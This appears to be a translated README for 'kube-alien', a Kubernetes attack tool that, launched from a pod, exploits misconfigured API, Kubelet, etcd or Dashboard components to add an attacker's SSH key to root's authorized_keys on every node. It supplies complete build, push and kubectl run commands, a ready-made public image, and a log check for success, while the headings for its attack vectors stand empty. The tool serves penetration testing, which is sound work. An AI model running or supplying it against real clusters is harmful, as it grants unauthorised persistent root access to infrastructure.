
Ferramenta automatizada de teste de penetração em clusters Kubernetes que explora configurações incorretas na API, Kubelet, etcd e Dashboard para realizar a tomada do nó por meio de injeção de chave SSH a partir de um pod.
Esta ferramenta lança um ataque em um cluster k8s a partir de dentro. Isso significa que você já precisa ter acesso com permissão para implantar pods em um cluster para executá-la. Após executar o pod kube-alien, ele tenta assumir o controle dos nós do cluster adicionando sua chave pública ao arquivo /root/.ssh/authorized_keys do nó, usando esta imagem https://github.com/nixwizard/dockercloud-authorizedkeys (pode ser ajustada usando o parâmetro ADD_AUTHKEYS_IMAGE em config.py) bifurcada de docker/dockercloud-authorizedkeys. O ataque tem sucesso se houver uma má configuração em um dos componentes do cluster, seguindo os seguintes vetores:
Qual é o propósito desta ferramenta?
Como um cluster k8s pode ser atacado por dentro em uma situação real?
A imagem Kube-alien deve ser enviada para o seu dockerhub (ou outro registro) antes de usar esta ferramenta.
git clone https://github.com/nixwizard/kube-alien.git
cd kube-alien
docker build -t ka ./
docker tag ka YOUR_DOCKERHUB_ACCOUNT/kube-alien
docker push YOUR_DOCKERHUB_ACCOUNT/kube-alien
A variável de ambiente AUTHORIZED_KEYS deve ser definida com o valor da sua chave pública SSH; em caso de sucesso, a chave pública será adicionada ao arquivo authorized_keys do root de todos os nós.
kubectl run --image=YOUR_DOCKERHUB_ACCOUNT/kube-alien kube-alien --env="AUTHORIZED_KEYS=$(cat ~/.ssh/id_rsa.pub)" --restart Never
ou você pode usar minha imagem para teste rápido:
kubectl run --image=nixwizard/kube-alien kube-alien --env="AUTHORIZED_KEYS=$(cat ~/.ssh/id_rsa.pub)" --restart Never
Verifique os logs do pod Kube-alien para ver se o ataque foi bem-sucedido:
kubectl logs $(kubectl get pods| grep alien|cut -f1 -d' ')